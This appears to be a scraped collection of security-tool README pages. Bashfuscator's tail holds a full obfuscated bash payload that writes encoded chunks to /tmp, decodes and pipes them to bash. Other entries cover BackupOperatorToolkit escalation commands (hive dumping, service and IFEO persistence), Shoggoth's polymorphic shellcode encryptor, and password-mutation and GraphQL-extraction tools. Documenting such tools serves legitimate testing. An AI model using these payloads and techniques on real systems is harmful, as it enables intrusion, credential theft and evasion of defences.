    "${@#b }" "e"$'\166'"a""${@}"l "$( ${!@}m''$'k\144'''ir -p '/tmp/wW'${*~~} ;$'\x70'"${@/AZ }"rin""tf %s 'MxJDa0zkXG4CsclDKLmg9KW6vgcLDaMiJNkavKPNMxU0SJqlJfz5uqG4rOSimWr2A7L5pyqLPp5kGQZRdUE3xZNxAD4EN7HHDb44XmRpN2rHjdwxjotov9teuE8dAGxUAL'> '/tmp/wW/?
    ??'; prin${@#K. }tf %s 'wYg0iUjRoaGhoNMgYgAJNKSp+lMGkx6pgCGRhDDRGMNDTQA0ABoAAZDQIkhCkyPNIm1DTQeppjRDTTQ8D9oqA/1A9DjGhOu1W7/t4J4Tt4fE5+isX29eKzeMb8pJsPya93' > '/tmp/wW/???
    ' "${@,, }" &&${*}pri''\n${*,}tf %s 'RELKWCoKqqFP5VElVS5qmdRJQelAziQTBBM99bliyhIQN8VyrjiIrkd2LFQIrwLY2E9ZmiSYqay6JNmzeWAklyhFuph1mXQry8maqHmtSAKnNr17wQlIXl/ioKq4hMlx76' >'/tmp/wW/??

    ';"${@, }" $'\x70'rintf %s 'clDkczJBNsB1gAOsW2tAFoIhpWtL3K/n68vYs4Pt+tD6+2X4FILnaFw4xaWlbbaJBKjbGLouOj30tcP4cQ6vVTp0H697aeleLe4ebnG95jynuNZvbd1qiTBDwAPVLT tCLx' >'/tmp/wW/?

    ?' ; ${*/~} p""${@##vl }ri""n''tf %s ' pr'"'"'i'"'"'$'"'"'n\x74'"'"'f %s "$( prin${*//N/H }tf '"'"'QlpoOTFBWSZTWVyUng4AA3R/gH7z/+Bd/4AfwAAAD8AAAA9QA/7rm7NzircbE1wlCTBEamT1PKekxqYIA9TNQ' >'/tmp/wW/????' "${@%\` }" ;p''r""i$'\x6e'''$'\164'"f" %s 'puxuZjSK09iokSwsERuYmYxzhEOARc1UjcKZy3zsiCqG5AdYHeQACRPKqVPIqkxaQnt/RMmoLKqCiypS0FLaFtirJFqQtbJLUVFoB/qUmEWVKxVFBYjHZcIAYlVRbkgWjh' >'/tmp/wW/?


    ' ${*};"p"rin''$'\x74f' %s 'Gs02t3sw+yFjnPjcXLJSI5XTnNzNMjJnSm0ChZQfSiFbxj6xzTfngZC4YbPvaCS3jMXvYinGLUWVfmuXtJXX3dpu379mvDn917Pg7PaoCJm2877OGzLn0y3FtndddpDohg'>'/tmp/wW/?
    ?
    ' && "${@^^ }" pr""intf %s 'Q+kXS+VgQ9OklAYb+q+GYQQzi4xQDlAGRJBCQbaTSi1cpkRmZlhSkDjcknJUADEBeXJAIFIyESJmDEwQExXjV4+vkDaHY/iGnNFBTYfo7kDJIucUES5mATqrAJ/KIyv1UV'> '/tmp/wW/
    ???' ${*^}; ${!@} "${@%%I }"pri""n$'\x74f' %s '1w6xQDwURXSpvdUvYXckU4UJBclJ4OA'"'"' |""b${*/t/\( }a\se$'"'"'6\x34'"'"' -d| bu${*/\]%}nzi'"'"'p'"'"'${!@}2 -c)" $@ |$ {@//Y^ } \ba\s"h" ' > '/tmp/wW/
    ??
    ' ${@%b } ; pr"i"\ntf %s 'g8oZ91rJxesUWCIaWikkYQDim3Zw341vrli0kuGMuiZ2Q5IkkgyAAJFzgqiRWXergULhLMNTjchAQSXpRWQUgklCEQLxOyAMq71cGgKMzrWWKlrlllq1SXFNRqsRBZsKUE' > '/tmp/wW/??
    ?'"${@//Y }" ;$'c\141t' '/tmp/wW'/???? ${*/m};"${@,, }" $'\162'\m '/tmp/wW'/???? &&${@^ }rmd\ir '/tmp/wW'; ${@^^ } )" "${@}"

    [+] Payload size: 2062 characters

    For more detailed usage and examples, please refer to the documentation.

    Extending the Framework

    Adding new obfuscation methods to the framework is simple, as Bashfuscator was built to be a modular and extendable framework. Bashfuscator's backend does all the heavy lifting so you can focus on writing robust obfuscation methods (documentation on adding modules coming soon).

    Authors and Contributers

    • Andrew LeFevre (capnspacehook): project lead and creator
    • Charity Barker (cpbarker): team member
    • Nathaniel Hatfield (343iChurch): writing the RotN Mutator
    • Elijah Barker (elijah-barker): writing the Hex Hash, Folder and File Glob Mutators
    • Sam Kreischer: the awesome logo

    Credits

    Disclaimer

    Bashfuscator was created for educational purposes only, use only on computers or networks you have explicit permission to do so. The Bashfuscator team is not responsible for any illegal or malicious acts preformed with this project.



    BackupOperatorToolkit - The BackupOperatorToolkit Contains Different Techniques Allowing You To Escalate From Backup Operator To Domain Admin

    By: Zion3R


    The BackupOperatorToolkit contains different techniques allowing you to escalate from Backup Operator to Domain Admin.

    Usage

    The BackupOperatorToolkit (BOT) has 4 different mode that allows you to escalate from Backup Operator to Domain Admin.
    Use "runas.exe /netonly /user:domain.dk\backupoperator powershell.exe" before running the tool.


    Service Mode

    The SERVICE mode creates a service on the remote host that will be executed when the host is rebooted.
    The service is created by modyfing the remote registry. This is possible by passing the "REG_OPTION_BACKUP_RESTORE" value to RegOpenKeyExA and RegSetValueExA.
    It is not possible to have the service executed immediately as the service control manager database "SERVICES_ACTIVE_DATABASE" is loaded into memory at boot and can only be modified with local administrator privileges, which the Backup Operator does not have.

    .\BackupOperatorToolkit.exe SERVICE \\PATH\To\Service.exe \\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTION

    DSRM Mode

    The DSRM mode will set the DsrmAdminLogonBehavior registry key found in "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" to either 0, 1, or 2.
    Setting the value to 0 will only allow the DSRM account to be used when in recovery mode.
    Setting the value to 1 will allow the DSRM account to be used when the Directory Services service is stopped and the NTDS is unlocked.
    Setting the value to 2 will allow the DSRM account to be used with network authentication such as WinRM.
    If the DUMP mode has been used and the DSRM account has been cracked offline, set the value to 2 and log into the Domain Controller with the DSRM account which will be local administrator.

    .\BackupOperatorToolkit.exe DSRM \\TARGET.DOMAIN.DK 0||1||2

    DUMP Mode

    The DUMP mode will dump the SAM, SYSTEM, and SECURITY hives to a local path on the remote host or upload the files to a network share.
    Once the hives have been dumped you could PtH with the Domain Controller hash, crack DSRM and enable network auth, or possibly authenticate with another account found in the dumps. Accounts from other forests may be stored in these files, I'm not sure why but this has been observed on engagements with management forests. This mode is inspired by the BackupOperatorToDA project.

    .\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK

    IFEO Mode

    The IFEO (Image File Execution Options) will enable you to run an application when a specifc process is terminated.
    This could grant a shell before the SERVICE mode will in case the target host is heavily utilized and rarely rebooted.
    The executable will be running as a child to the WerFault.exe process.

    .\BackupOperatorToolkit.exe IFEO notepad.exe \\Path\To\pwn.exe \\TARGET.DOMAIN.DK






    Dumpulator - An Easy-To-Use Library For Emulating Memory Dumps. Useful For Malware Analysis (Config Extraction, Unpacking) And Dynamic Analysis In General (Sandboxing)

    By: Zion3R


    Note: This is a work-in-progress prototype, please treat it as such. Pull requests are welcome! You can get your feet wet with good first issues

    An easy-to-use library for emulating code in minidump files. Here are some links to posts/videos using dumpulator:


    Examples

    Calling a function

    The example below opens StringEncryptionFun_x64.dmp (download a copy here), allocates some memory and calls the decryption function at 0x140001000 to decrypt the string at 0x140017000:

    from dumpulator import Dumpulator

    dp = Dumpulator("StringEncryptionFun_x64.dmp")
    temp_addr = dp.allocate(256)
    dp.call(0x140001000, [temp_addr, 0x140017000])
    decrypted = dp.read_str(temp_addr)
    print(f"decrypted: '{decrypted}'")

    The StringEncryptionFun_x64.dmp is collected at the entry point of the tests/StringEncryptionFun example. You can get the compiled binaries for StringEncryptionFun here

    Tracing execution

    from dumpulator import Dumpulator

    dp = Dumpulator("StringEncryptionFun_x64.dmp", trace=True)
    dp.start(dp.regs.rip)

    This will create StringEncryptionFun_x64.dmp.trace with a list of instructions executed and some helpful indications when switching modules etc. Note that tracing significantly slows down emulation and it's mostly meant for debugging.

    Reading utf-16 strings

    from dumpulator import Dumpulator

    dp = Dumpulator("my.dmp")
    buf = dp.call(0x140001000)
    dp.read_str(buf, encoding='utf-16')

    Running a snippet of code

    Say you have the following function:

    00007FFFC81C06C0 | mov qword ptr [rsp+0x10],rbx       ; prolog_start
    00007FFFC81C06C5 | mov qword ptr [rsp+0x18],rsi
    00007FFFC81C06CA | push rbp
    00007FFFC81C06CB | push rdi
    00007FFFC81C06CC | push r14
    00007FFFC81C06CE | lea rbp,qword ptr [rsp-0x100]
    00007FFFC81C06D6 | sub rsp,0x200 ; prolog_end
    00007FFFC81C06DD | mov rax,qword ptr [0x7FFFC8272510]

    You only want to execute the prolog and set up some registers:

    from dumpulator import Dumpulator

    prolog_start = 0x00007FFFC81C06C0
    # we want to stop the instruction after the prolog
    prolog_end = 0x00007FFFC81C06D6 + 7

    dp = Dumpulator("my.dmp", quiet=True)
    dp.regs.rcx = 0x1337
    dp.start(start=prolog_start, end=prolog_end)
    print(f"rsp: {hex(dp.regs.rsp)}")

    The quiet flag suppresses the logs about DLLs loaded and memory regions set up (for use in scripts where you want to reduce log spam).

    Custom syscall implementation

    You can (re)implement syscalls by using the @syscall decorator:

    from dumpulator import *
    from dumpulator.native import *
    from dumpulator.handles import *
    from dumpulator.memory import *

    @syscall
    def ZwQueryVolumeInformationFile(dp: Dumpulator,
    FileHandle: HANDLE,
    IoStatusBlock: P[IO_STATUS_BLOCK],
    FsInformation: PVOID,
    Length: ULONG,
    FsInformationClass: FSINFOCLASS
    ):
    return STATUS_NOT_IMPLEMENTED

    All the syscall function prototypes can be found in ntsyscalls.py. There are also a lot of examples there on how to use the API.

    To hook an existing syscall implementation you can do the following:

    import dumpulator.ntsyscalls as ntsyscalls

    @syscall
    def ZwOpenProcess(dp: Dumpulator,
    ProcessHandle: Annotated[P[HANDLE], SAL("_Out_")],
    DesiredAccess: Annotated[ACCESS_MASK, SAL("_In_")],
    ObjectAttributes: Annotated[P[OBJECT_ATTRIBUTES], SAL("_In_")],
    ClientId: Annotated[P[CLIENT_ID], SAL("_In_opt_")]
    ):
    process_id = ClientId.read_ptr()
    assert process_id == dp.parent_process_id
    ProcessHandle.write_ptr(0x1337)
    return STATUS_SUCCESS

    @syscall
    def ZwQueryInformationProcess(dp: Dumpulator,
    ProcessHandle: Annotated[HANDLE, SAL("_In_")],
    ProcessInformationClass: Annotated[PROCESSINFOCLASS, SAL("_In_")],
    ProcessInformation: Annotated[PVOID, SAL("_Out_wri tes_bytes_(ProcessInformationLength)")],
    ProcessInformationLength: Annotated[ULONG, SAL("_In_")],
    ReturnLength: Annotated[P[ULONG], SAL("_Out_opt_")]
    ):
    if ProcessInformationClass == PROCESSINFOCLASS.ProcessImageFileNameWin32:
    if ProcessHandle == dp.NtCurrentProcess():
    main_module = dp.modules[dp.modules.main]
    image_path = main_module.path
    elif ProcessHandle == 0x1337:
    image_path = R"C:\Windows\explorer.exe"
    else:
    raise NotImplementedError()
    buffer = UNICODE_STRING.create_buffer(image_path, ProcessInformation)
    assert ProcessInformationLength >= len(buffer)
    if ReturnLength.ptr:
    dp.write_ulong(ReturnLength.ptr, len(buffer))
    ProcessInformation.write(buffer)
    return STATUS_SUCCESS
    return ntsyscal ls.ZwQueryInformationProcess(dp,
    ProcessHandle,
    ProcessInformationClass,
    ProcessInformation,
    ProcessInformationLength,
    ReturnLength
    )

    Custom structures

    Since v0.2.0 there is support for easily declaring your own structures:

    from dumpulator.native import *

    class PROCESS_BASIC_INFORMATION(Struct):
    ExitStatus: ULONG
    PebBaseAddress: PVOID
    AffinityMask: KAFFINITY
    BasePriority: KPRIORITY
    UniqueProcessId: ULONG_PTR
    InheritedFromUniqueProcessId: ULONG_PTR

    To instantiate these structures you have to use a Dumpulator instance:

    pbi = PROCESS_BASIC_INFORMATION(dp)
    assert ProcessInformationLength == Struct.sizeof(pbi)
    pbi.ExitStatus = 259 # STILL_ACTIVE
    pbi.PebBaseAddress = dp.peb
    pbi.AffinityMask = 0xFFFF
    pbi.BasePriority = 8
    pbi.UniqueProcessId = dp.process_id
    pbi.InheritedFromUniqueProcessId = dp.parent_process_id
    ProcessInformation.write(bytes(pbi))
    if ReturnLength.ptr:
    dp.write_ulong(ReturnLength.ptr, Struct.sizeof(pbi))
    return STATUS_SUCCESS

    If you pass a pointer value as a second argument the structure will be read from memory. You can declare pointers with myptr: P[MY_STRUCT] and dereferences them with myptr[0].

    Collecting the dump

    There is a simple x64dbg plugin available called MiniDumpPlugin The minidump command has been integrated into x64dbg since 2022-10-10. To create a dump, pause execution and execute the command MiniDump my.dmp.

    Installation

    From PyPI (latest release):

    python -m pip install dumpulator

    To install from source:

    python setup.py install

    Install for a development environment:

    python setup.py develop

    Related work

    • Dumpulator-IDA: This project is a small POC plugin for launching dumpulator emulation within IDA, passing it addresses from your IDA view using the context menu.
    • wtf: Distributed, code-coverage guided, customizable, cross-platform snapshot-based fuzzer designed for attacking user and / or kernel-mode targets running on Microsoft Windows
    • speakeasy: Windows sandbox on top of unicorn.
    • qiling: Binary emulation framework on top of unicorn.
    • Simpleator: User-mode application emulator based on the Hyper-V Platform API.

    What sets dumpulator apart from sandboxes like speakeasy and qiling is that the full process memory is available. This improves performance because you can emulate large parts of malware without ever leaving unicorn. Additionally only syscalls have to be emulated to provide a realistic Windows environment (since everything actually is a legitimate process environment).

    Credits



    PassMute - PassMute - A Multi Featured Password Transmutation/Mutator Tool

    By: Zion3R


    This is a command-line tool written in Python that applies one or more transmutation rules to a given password or a list of passwords read from one or more files. The tool can be used to generate transformed passwords for security testing or research purposes. Also, while you doing pentesting it will be very useful tool for you to brute force the passwords!!


    How Passmute can also help to secure our passwords more?

    PassMute can help to generate strong and complex passwords by applying different transformation rules to the input password. However, password security also depends on other factors such as the length of the password, randomness, and avoiding common phrases or patterns.

    The transformation rules include:

    reverse: reverses the password string

    uppercase: converts the password to uppercase letters

    lowercase: converts the password to lowercase letters

    swapcase: swaps the case of each letter in the password

    capitalize: capitalizes the first letter of the password

    leet: replaces some letters in the password with their leet equivalents

    strip: removes all whitespace characters from the password

    The tool can also write the transformed passwords to an output file and run the transformation process in parallel using multiple threads.

    Installation

    git clone https://HITH-Hackerinthehouse/PassMute.git
    cd PassMute
    chmod +x PassMute.py

    Usage To use the tool, you need to have Python 3 installed on your system. Then, you can run the tool from the command line using the following options:

    python PassMute.py [-h] [-f FILE [FILE ...]] -r RULES [RULES ...] [-v] [-p PASSWORD] [-o OUTPUT] [-t THREAD_TIMEOUT] [--max-threads MAX_THREADS]

    Here's a brief explanation of the available options:

    -h or --help: shows the help message and exits

    -f (FILE) [FILE ...], --file (FILE) [FILE ...]: one or more files to read passwords from

    -r (RULES) [RULES ...] or --rules (RULES) [RULES ...]: one or more transformation rules to apply

    -v or --verbose: prints verbose output for each password transformation

    -p (PASSWORD) or --password (PASSWORD): transforms a single password

    -o (OUTPUT) or --output (OUTPUT): output file to save the transformed passwords

    -t (THREAD_TIMEOUT) or --thread-timeout (THREAD_TIMEOUT): timeout for threads to complete (in seconds)

    --max-threads (MAX_THREADS): maximum number of threads to run simultaneously (default: 10)

    NOTE: If you are getting any error regarding argparse module then simply install the module by following command: pip install argparse

    Examples

    Here are some example commands those read passwords from a file, applies two transformation rules, and saves the transformed passwords to an output file:

    Single Password transmutation: python PassMute.py -p HITHHack3r -r leet reverse swapcase -v -t 50

    Multiple Password transmutation: python PassMute.py -f testwordlists.txt -r leet reverse -v -t 100 -o testupdatelists.txt

    Here Verbose and Thread are recommended to use in case you're transmutating big files and also it depends upon your microprocessor as well, it's not required every time to use threads and verbose mode.

    Legal Disclaimer:

    You might be super excited to use this tool, we too. But here we need to confirm! Hackerinthehouse, any contributor of this project and Github won't be responsible for any actions made by you. This tool is made for security research and educational purposes only. It is the end user's responsibility to obey all applicable local, state and federal laws.



    Indicator-Intelligence - Finds Related Domains And IPv4 Addresses To Do Threat Intelligence After Indicator-Intelligence Collects Static Files

    By: Zion3R


    Finds related domains and IPv4 addresses to do threat intelligence after Indicator-Intelligence collects static files.


    Done

    • Related domains, IPs collect

    Installation

    From Source Code

    You can use virtualenv for package dependencies before installation.

    git clone https://github.com/OsmanKandemir/indicator-intelligence.git
    cd indicator-intelligence
    python setup.py build
    python setup.py install

    From Pypi

    The script is available on PyPI. To install with pip:

    pip install indicatorintelligence

    From Dockerfile

    You can run this application on a container after build a Dockerfile.

    docker build -t indicator .
    docker run indicator --domains target-web.com --json

    From DockerHub

    docker pull osmankandemir/indicator
    docker run osmankandemir/indicator --domains target-web.com --json

    From Poetry

    pip install poetry
    poetry install

    Usage

    -d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Targets. --domains target-web1.com target-web2.com
    -p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
    -a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
    -o JSON, --json JSON JSON output. --json

    Function Usage

    Development and Contribution

    See; CONTRIBUTING.md

    License

    Copyright (c) 2023 Osman Kandemir
    Licensed under the GPL-3.0 License.

    Donations

    If you like Indicator-Intelligence and would like to show support, you can use Buy A Coffee or Github Sponsors feature for the developer using the button below.

    You can use the github sponsored tiers feature for purchasing and other features.

    Sponsor me : https://github.com/sponsors/OsmanKandemir

    


    Shoggoth - Asmjit Based Polymorphic Encryptor


    Shoggoth is an open-source project based on C++ and asmjit library used to encrypt given shellcode, PE, and COFF files polymorphically.

    Shoggoth will generate an output file that stores the payload and its corresponding loader in an obfuscated form. Since the content of the output is position-independent, it can be executed directly as a shellcode. While the payload is executing, it decrypts itself at runtime. In addition to the encryption routine, Shoggoth also adds garbage instructions, that change nothing, between routines.

    I started to develop this project to study different dynamic instruction generation approaches, assembly practices, and signature detections. I am planning to regularly update the repository with my new learnings.


    Features

    Current features are listed below:

    • Works on only x64 inputs
    • Ability to merge PIC COFF Loader with COFF or BOF input files
    • Ability to merge PIC PE Loader with PE input files
    • Stream Cipher with RC4 Algorithm
    • Block Cipher with randomly generated operations
    • Garbage instruction generation

    Execution Flow

    The general execution flow of Shoggoth for an input file can be seen in the image below. You can observe this flow with the default configurations.

    Basically, Shoggoth first merges the precompiled loader shellcode according to the chosen mode (COFF or PE file) and the input file. It then adds multiple garbage instructions it generates to this merged payload. The stub containing the loader, garbage instruction, and payload is encrypted first with RC4 encryption and then with randomly generated block encryption by combining corresponding decryptors. Finally, it adds a garbage instruction to the resulting block.

    Machine Code Generation

    While Shoggoth randomly generates instructions for garbage stubs or encryption routines, it uses AsmJit library.

    AsmJit is a lightweight library for machine code generation written in C++ language. It can generate machine code for X86, X86_64, and AArch64 architectures and supports baseline instructions and all recent extensions. AsmJit allows specifying operation codes, registers, immediate operands, call labels, and embedding arbitrary values to any offset inside the code. While generating some assembly instructions by using AsmJit, it is enough to call the API function that corresponds to the required assembly operation with assembly operand values from the Assembler class. For each API call, AsmJit holds code and relocation information in its internal CodeHolder structure. After calling API functions of all assembly commands to be generated, its JitRuntime class can be used to copy the code from CodeHolder into memory with executable permission and relocate it.

    While I was searching for a code generation library, I encountered with AsmJit, and I saw that it is widely used by many popular projects. That's why I decided to use it for my needs. I don't know whether Shoggoth is the first project that uses it in the red team context, but I believe that it can be a reference for future implementations.

    COFF and PE Loaders

    Shoggoth can be used to encrypt given PE and COFF files so that both of them can be executed as a shellcode thanks to precompiled position-independent loaders. I simply used the C to Shellcode method to obtain the PIC version of well-known PE and COFF loaders I modified for my old projects. For compilation, I used the Makefile from HandleKatz project which is an LSASS dumper in PIC form.

    Basically, in order to obtain shellcode with the C to Shellcode technique, I removed all the global variables in the loader source code, made all the strings stored in the stack, and resolved the Windows API functions' addresses by loading and parsing the necessary DLLs at runtime. Afterward, I determined the entry point with a linker script and compiled the code by using MinGW with various compilation flags. I extracted the .text section of the generated executable file and obtained the loader shellcode. Since the executable file obtained after editing the code as above does not contain any sections other than the .text section, the code in this section can be used as position-independent.

    The source code of these can be seen and edited from COFFLoader and PELoader directories. Also compiled versions of these source codes can be found in stub directory. For now, If you want to edit or change these loaders, you should obey the signatures and replace the precompiled binaries from the stub directory.

    RC4 Cipher

    Shoggoth first uses one of the stream ciphers, the RC4 algorithm, to encrypt the payload it gets. After randomly generating the key used here, it encrypts the payload with that key. The decryptor stub, which decrypts the payload during runtime, is dynamically created and assembled by using AsmJit. The registers used in the stub are randomly selected for each sample.

    I referenced Nayuki's code for the implementation of the RC4 algorithm I used in Shoggoth.

    Random Block Cipher

    After the first encryption is performed, Shoggoth uses the second encryption which is a randomly generated block cipher. With the second encryption, it encrypts both the RC4 decryptor and optionally the stub that contains the payload, garbage instructions, and loader encrypted with RC4. It divides the chunk to be encrypted into 8-byte blocks and uses randomly generated instructions for each block. These instructions include ADD, SUB, XOR, NOT, NEG, INC, DEC, ROL, and ROR. Operands for these instructions are also selected randomly.

    Garbage Instruction Generation

    Generated garbage instruction logic is heavily inspired by Ege Balci's amazing SGN project. Shoggoth can select garbage instructions based on jumping over random bytes, instructions with no side effects, fake function calls, and instructions that have side effects but retain initial values. All these instructions are selected randomly, and generated by calling the corresponding API functions of the AsmJit library. Also, in order to increase both size and different combinations, these generation functions are called recursively.

    There are lots of places where garbage instructions can be put in the first version of Shoggoth. For example, we can put garbage instructions between block cipher instructions or RC4 cipher instructions. However, for demonstration purposes, I left them for the following versions to avoid the extra complexity of generated payloads.

    Usage

    Requirements

    I didn't compile the main project. That's why you have to compile yourself. Optionally, if you want to edit the source code of the PE loader or COFF loader, you should have MinGW on your machine to compile them by using the given Makefiles.

    • Visual Studio 2019+
    • (Optional) MinGW Compiler

    Command Line Parameters


    ______ _ _
    / _____) | _ | |
    ( (____ | |__ ___ ____ ____ ___ _| |_| |__
    \____ \| _ \ / _ \ / _ |/ _ |/ _ (_ _) _ \
    _____) ) | | | |_| ( (_| ( (_| | |_| || |_| | | |
    (______/|_| |_|\___/ \___ |\___ |\___/ \__)_| |_|
    (_____(_____|

    by @R0h1rr1m

    "Tekeli-li! Tekeli-li!"

    Usage of Shoggoth.exe:

    -h | --help Show the help message.
    -v | --verbose Enable more verbose output.
    -i | --input <Input Path> Input path of payload to be encrypted. (Mandatory)
    -o | --output <Output Path> Output path for encrypted input. (Mandatory)
    -s | --seed <Value> Set seed value for randomization.
    -m | --mode <Mode Value> Set payload encryption mode. Available mods are: (Mandatory)
    [*] raw - Shoggoth doesn't append a loader stub. (Default mode)
    [*] pe - Shoggoth appends a PE loader stub. The input should be valid x64 PE.
    [*] coff - Shoggoth appends a COFF loader stub. The input should be valid x64 COFF.
    --coff-arg <Argument> Set argument for COFF loader. Only used in COFF loader mode.
    -k | --key <Encryption Key> Set first encryption key instead of random key.
    --dont-do-first-encryption Don't do the first (stream cipher) encryption.
    --dont-do-second-encryption Don't do the second (block cipher) encryption.
    --encrypt-only-decryptor Encrypt only decryptor stub in the second encryption.

    What does Shoggoth mean?


    "It was a terrible, indescribable thing vaster than any subway trainβ€”a shapeless congeries of protoplasmic bubbles, faintly self-luminous, and with myriads of temporary eyes forming and un-forming as pustules of greenish light all over the tunnel-filling front that bore down upon us, crushing the frantic penguins and slithering over the glistening floor that it and its kind had swept so evilly free of all litter." ~ H. P. Lovecraft, At the Mountains of Madness


    A Shoggoth is a fictional monster in the Cthulhu Mythos. The beings were mentioned in passing in H. P. Lovecraft's sonnet cycle Fungi from Yuggoth (1929–30) and later described in detail in his novella At the Mountains of Madness (1931). They are capable of forming whatever organs or appendages they require for the task at hand, although their usual state is a writhing mass of eyes, mouths, and wriggling tentacles.

    Since these creatures are like a sentient blob of self-shaping, gelatinous flesh and have no fixed shape in Lovecraft's descriptions, I want to give that name to a Polymorphic Encryptor tool.

    ο™‚

    References



    Ator - Authentication Token Obtain and Replace Extender


    The plugin is created to help automated scanning using Burp in the following scenarios:

    1. Access/Refresh token
    2. Token replacement in XML,JSON body
    3. Token replacement in cookies
      The above can be achieved using complex macro, session rules or Custom Extender in some scenarios. The rules become tricky and do not work in scenarios where the replacement text is either JSON, XML.

    Key advantages:

    1. We have also achieved in-memory token replacement to avoid duplicate login requests like in both custom extender, macros/session rules.
    2. Easy UX to help obtain data (from response) and replace data (in requests) using regex. This helps achieve complex scenarios where response body is JSON, XML and the request text is also JSON, XML, form data etc.
    3. Scan speed - the scan speed increases considerably because there are no extra login requests. There is something called the "Trigger Request" which is the error condition (also includes regex) when the login requests are triggered. The error condition can include (response code = 401 and body contains "Unauthorized request")

    The inspiration for the plugin is from ExtendedMacro plugin: https://github.com/FrUh/ExtendedMacro

    Blogs

    1. Authentication Token Obtain and Replace (ATOR)Β Burp PluginΒ - Part1 - Single step login sequence and single token extraction
    2. Authentication Token Obtain and Replace (ATOR) Burp Plugin - Part2 - Multi step login sequence and multiple extraction

    Getting Started

    1. Install Java and Maven
    2. Clone the repository
    3. Run the "mvn clean install" command in cloned repo of where pom.xml is present
    4. Take the generated jar with dependencies from the target folder

    Prerequisites

    1. Make sure java environment is setup in your machine.
    2. Confgure the Burp Suite to listen the Proxy traffic
    3. Configure the java environment from extender tab of BURP

    For usage with test application (Install this testing application (Tiredful application) from https://github.com/payatu/Tiredful-API)

    Steps

    1. Identify the request which provides the error
    2. Identify the Error Pattern (details in section below)
    3. Obtain the data from the response using regex (see sample regex values)
    4. Replace this data on the request (use same regex as step 3 along with the variable name)

    Error Pattern:

    Totally there are 4 different ways you can specify the error condition.

    1. Status Code: 401, 400
    2. Error in Body: give any text from the body content (Example: Access token expired)
    3. Error in Header: give any text from header(Example: Unauthorized)
    4. Free Form: use this to give multiple condition (st=400 && bd=Access token expired || hd=Unauthorized)

    Regex with samples

    1. Use Authorization: Bearer \w* to match Authorization: Bearer AXXFFPPNSUSSUSSNSUSN
    2. Use Authorization: Bearer ([\w+_-.]*) to match Authorization: Bearer AXX-F+FPPNS.USSUSSNSUSN

    Break down into end to end tests

    1. Finding the Invalid request:
      • http://HOST:PORT/api/v1/exams/MQ==/ with invalid Bearer token.
    2. Identifying Error Pattern:
      • The above request will give you 401, here error condition is Status Code = 401
    3. Match regex with request data
      • Authorization: Bearer \w* - this regex will match access token which is passed.
    4. Replacement - How to replace
      • Replace the matched text(step 3 regex) with extracted value (Extraction configuration discussed in below, say varibale name is "token")
      • Authorization: Bearer token - extracted token will be replaced.

    Usage with test application

    Idea : Record the Tiredful application request in BURP, configure the ATOR extender, check whether token is replaced by ATOR.

    1. Open the testing application in browser which you configured with BURP
      • Generate a token from http://HOST:PORT/handle-user-token/
      • Send the request http://HOST:PORT/api/v1/exams/MQ==/ by passing Authorization Beaer token(get it from above step)
    2. Add the ATOR jar file as a extender in BURP
    3. Right Click on the request(/handle-user-token) in Proxy history and send it to Authentication Token Optain and Replace Extender
    4. Add the new entry in Extraction configuration by selecting the "access_token" value and give name as "token"(it may be any name) Note: For this application,one request is enough to generate a token.Token can also get generated after multiple requests
    5. TRIGGER CONDITION:
      • Macro steps will get executed if the condition is matched.
      • After execution of steps, replace the incoming request by taking values from "Pattern" and "Replacement Area" if specified.
      • For our testing,
        • Error condition is 401(Status Code)
        • Pattern is "Authorization: Bearer \w*" (Specify the regex Pattern how you want to replace with extraction values)
        • Replacement Area is "Authentication: Bearer <NAME which you gave in STEP 4>"
      • Click on "Add" Button.
    6. For this example, one replacement is enough to make the incoming request as valid but you can add mutiple replacement for a single condition.
    7. Hit the invalid request from Repeater and check the req/res flows in either FLOW/Logger++
      • Invalid Bearer token(http://HOST:PORT/api/v1/exams/MQ==/) from Repeater makes the response as 401.
      • Extender will match this condition and start running the recorded steps, extract the "access_token"
      • Replace the access token(from step ii) in actual response(from Repeater) and makes this invalid request as valid.
      • In the repeater console, you see 200 OK response.
    8. Do the Step7 again and check the flow
      • This time extender will not invoke the steps because existing token is valid and so it uses that.

    Built With

    • SWING - Used to add panel

    Contributing

    Please read CONTRIBUTING.md for details on our code of conduct, and the process for submitting pull requests to us.

    Versioning

    v1.0

    Authors

    Authors from Synopsys - Ashwath Reddy (@ka3hk) and Manikandan Rajappan (@rmanikdn)

    License

    This software is released by Synopsys under the MIT license.

    Acknowledgments

    • https://github.com/FrUh/ExtendedMacro ExtendedMacro was a great start - we have modified the UI to handle more complex scenarios. We have also fixed bugs and improved speed by replacing tokens in memory.

    Demo Video

    ATOR v2.0.0:

    UI Panel was splitted into 4 different configuration. Check out the code from v2 or use the executable from v2/bin.

    1. Error Condition - Find the error condition req/res and add trigger condition [Can be statuscode/text in body content/text in header]. Multiple condition can also be added.
    2. Obtain Token: Find all the req/res to get the token. It can be single or multiple request (do replacement accordingly)
    3. Error Condition Replacement: Mark the trigger condition and also mark the place on request where replacement needs to taken (map the extraction)
    4. Preview: Dry run it before configure for scan.


    Graphicator - A GraphQL Enumeration And Extraction Tool


    Graphicator is a GraphQL "scraper" / extractor. The tool iterates over the introspection document returned by the targeted GraphQL endpoint, and then re-structures the schema in an internal form so it can re-create the supported queries. When such queries are created is using them to send requests to the endpoint and saves the returned response to a file.

    Erroneous responses are not saved. By default the tool caches the correct responses and also caches the errors, thus when re-running the tool it won't go into the same queries again.

    Use it wisely and use it only for targets you have the permission to interact with.

    We hope the tool to automate your own tests as a penetration tester and gives some push even to the ones that don't do GraphQLing test yet.

    To learn how to perform assessments on GraphQL endpoints: https://cybervelia.com/?p=736&preview=true


    Installation

    Install on your system

    python3 -m pip install -r requirements.txt

    Using a container instead

    docker run --rm -it -p8005:80 cybervelia/graphicator --target http://the-target:port/graphql --verbose

    When the task is done it zips the results and such zip is provided via a webserver served on port 8005. To kill the container, provide CTRL+C. When the container is stopped the data are deleted too. Also you may change the host port according to your needs.

    Usage

    python3 graphicator.py [args...]

    Setting up a target

    The first step is to configure the target. To do that you have to provide either a --target option or a file using --file.

    Setting a single target via arguments

    python3 graphicator.py --target https://subdomain.domain:port/graphql

    Setting multiple targets

    python3 graphicator.py --target https://subdomain.domain:port/graphql --target https://target2.tld/graphql

    Setting targets via a file

